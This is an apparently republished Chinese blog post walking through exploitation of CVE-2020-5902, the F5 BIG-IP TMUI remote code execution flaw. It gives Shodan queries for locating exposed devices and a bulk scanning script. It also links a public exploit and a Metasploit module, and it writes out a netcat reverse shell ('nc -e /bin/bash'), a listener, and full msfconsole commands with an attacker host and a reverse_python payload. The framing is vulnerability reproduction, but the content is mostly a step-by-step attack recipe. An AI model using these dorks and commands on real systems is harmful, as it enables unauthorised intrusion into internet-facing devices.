漏洞复现 | CVE‐2020‐5902踩坑记
漏洞复现 | CVE‐2020‐5902踩坑记
Ms08067安全实验室
发布于 2020-08-28 10:30:18
发布于 2020-08-28 10:30:18
本文作者：Taoing（Ms08067实验室 SRSP TEAM小组成员）
0x0:漏洞概述
F5 BIG‐IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日，F5官方公布流量管理用户界面（TMUI）存在 前台远程执行代码（RCE）漏洞（CVE‐2020‐5902）。攻击者利用该漏洞，构造恶意请求，在未授权的情况下获得目标服务器的权限，实现远程代码执行。
0x1:影响版本范围
F5 BIG‐IP < 15.1.0.4
F5 BIG‐IP < 14.1.2.6
F5 BIG‐IP < 13.1.3.4
F5 BIG‐IP < 12.1.5.2
F5 BIG‐IP < 11.6.5.20x2设备检索：
shodan
http.favicon.hash:‐335242539 2、http.title:"BIG‐IP® ;‐ Redirect"0x3shodan批量脚本:
https://github.com/aqhmal/CVE‐2020‐5902‐Scanner1.下载脚本后安装库文件， pip3 install ‐r requirements.txt
2.打开脚本文件scanner.py，加入自己shodan key
3.开干 python3 scan.py
0x4漏洞复现:
https://github.com/jas502n/CVE‐2020‐5902
更改CVE‐2020‐5902.py 里的url，然后直接运行 python CVE‐2020‐5902.py。这里我使用的是python2 运行
反弹shell：nc ‐e /bin/bash ip port
监听：nc ‐lvvp port
Msf坑之多:
1.开始我使用wget最后各种问题。直接浏览器下载。拖进msf
https://github.com/rapid7/metasploit‐framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb2.解决方法:
下载后拖进去
﴾/usr/share/metasploit‐framework/modules/exploits/linux/http/﴿
打开msf依次执行
msfconsole reload_all search f5_bigip
use exploit/linux/http/f5_bigip_tmui_rce
set rhost 1.2.3.4
set lhost 129.204.113.202
set lport 5567
set payload cmd/unix/reverse_python
run0x5:总结:
坑点:msf最好在云上，虚拟机啥的弹不了
本文参与 腾讯云自媒体分享计划，分享自微信公众号。
原始发表：2020-08-25，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读